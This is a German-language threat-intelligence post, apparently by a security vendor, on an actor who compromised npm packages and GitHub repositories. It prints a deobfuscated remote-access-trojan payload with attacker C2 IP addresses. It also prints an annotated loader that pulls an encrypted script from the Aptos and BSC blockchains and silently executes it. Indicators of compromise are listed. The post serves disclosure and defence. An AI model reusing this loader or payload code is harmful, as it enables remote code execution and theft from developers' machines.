Sie haben vielleicht die jüngste Geschichte über eine Bedrohungsakteursgruppe gesehen, die 16 beliebte Pakete im Zusammenhang mit React Native Aria und GlueStack kompromittiert hat, die wir entdeckt und dokumentiert haben hier. Zuvor hatten wir festgestellt, dass sie das Paket kompromittiert hatten rand-user-agent am 5. Mai 2025, wie berichtet hier.
Wir verfolgen diesen Bedrohungsakteur seitdem und haben kleinere Angriffe beobachtet, die wir noch nicht vollständig öffentlich dokumentiert haben. Wir wollten sie jedoch zusammenstellen, um ein umfassenderes Bild ihrer Aktivitäten zu vermitteln.
Erste bösartige Pakete
Am 8. Mai 2025 hatten unsere Systeme uns bereits auf zwei neue Pakete auf npm aufmerksam gemacht, die bösartig zu sein schienen. Diese sind:


Diese wurden beide vom selben Benutzer hochgeladen, aminengineerings, registriert mit der E-Mail-Adresse aminengineerings@gmail[.]com. Schon ab den ersten Versionen enthielten beide die bösartige Payload, was darauf hindeutet, dass dieses Paket den Bedrohungsakteuren selbst gehört.

Weitere bösartige Pakete
Es wurden auch zwei weitere Pakete vom Angreifer nach dem Angriff auf gluestack veröffentlicht. Die Pakete wurden am 8. Juni 2025 unter den Namen veröffentlicht tailwindcss-animate-expand und mongoose-lit. Diese wurden von einem Benutzer namens veröffentlicht mattfarser. Der Benutzer wurde anschließend schnell gelöscht.
Insbesondere das tailwindcss-animate-expand Paket ist hervorzuheben, da es eine andere Payload-Struktur aufweist. Der erste Teil davon sieht so aus:
global['r']=require;(function(){var Afr='',xzH=906-895;...Wir sehen die global[‘_V’] Variable gesetzt wird. Wenn wir dies in einer Sandbox ausführen, sehen wir, dass die finale Payload ebenfalls leicht abweicht. Die Payload sieht nach der Deobfuskation so aus:
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
Besonders interessant ist, dass wir sehen, dass die Version A4, auf die im Angriff vom Wochenende als Signal zur Nutzung des neuen C2-Servers verwiesen wurde.
Wir sehen auch, dass der „alte“ C2-Server nicht mehr erwähnt wird. Stattdessen wurde die IP hinzugefügt 166.88.4[.]2.
Warnzeichen
Im Vorfeld dieses Angriffs hatten wir bemerkt, dass einige kleine Pakete kompromittiert wurden. Hier sind die Pakete, die wir bemerkt haben:
Diese Pakete gehören drei verschiedenen Personen und haben weniger als 100 Downloads pro Woche. Es scheint, dass diese Bedrohungsakteure die Tokens für npm-Konten durchgängig kompromittieren können.
Kompromittierte GitHub-Repos
Als wir diese Angriffe weiter untersuchten, entschieden wir uns, andere Ökosysteme auf Beweise zu prüfen, die tiefere Einblicke in die Funktionsweise dieser Bedrohungsakteure geben könnten. Wir konnten 19 Repositories auf GitHub entdecken, die von denselben Bedrohungsakteuren kompromittiert wurden:
Einige Commits stechen hierbei hervor, ein Beispiel ist:

Der Bedrohungsakteur hat die verwendete Payload leicht geändert. In diesem Fall haben sie eine Payload base64-kodiert, die sie an eval() übergeben. Hier ist die dekodierte Payload, versehen mit Kommentaren, die ihre Funktionalität beschreiben.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); Dieser Code ist clever, da er sich teilweise aus den Inhalten zweier verschiedener Blockchains selbst bootet. Hier ist eine Schritt-für-Schritt-Übersicht:
Die Transaktion auf der Binance Smart Chain finden Sie unten. Es ist erwähnenswert, dass Wallet und Vertrag seit dem 7. Februar 2025 existieren:
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Wir haben den Code in einer Sandbox ausgeführt und die finale Payload erhalten, und es war dieselbe Payload, die wir bereits zuvor dokumentiert hatten, ohne wesentliche Änderungen.
Fazit
Wir sehen, dass der Bedrohungsakteur nicht nur npm-Pakete, sondern auch GitHub-Repositories aktiv und konsequent kompromittiert. Darüber hinaus haben sie mit der Bereitstellung eigener Pakete mit ihrem RAT experimentiert. Sie haben auch begonnen, Blockchains als Methode zur Verbreitung ihres bösartigen Codes zu nutzen.
Indikatoren für Kompromittierung
Pakete
solanautilweb3-socketiotailwindcss-animate-expandmongoose-lite@lfwfinance/sdk@lfwfinance/sdk-devalgorand-htlcavm-satoshi-dicebiatec-avm-gas-stationarc200-clientcputil-node
IPs
166.88.4[.]2136.0.9[.]8
Aptos-Konto
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
BSC-Adresse
0x9BC1355344B54DEDf3E44296916eD15653844509
BSC-Vertrag
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c
Sichern Sie Ihre Software jetzt.



.avif)
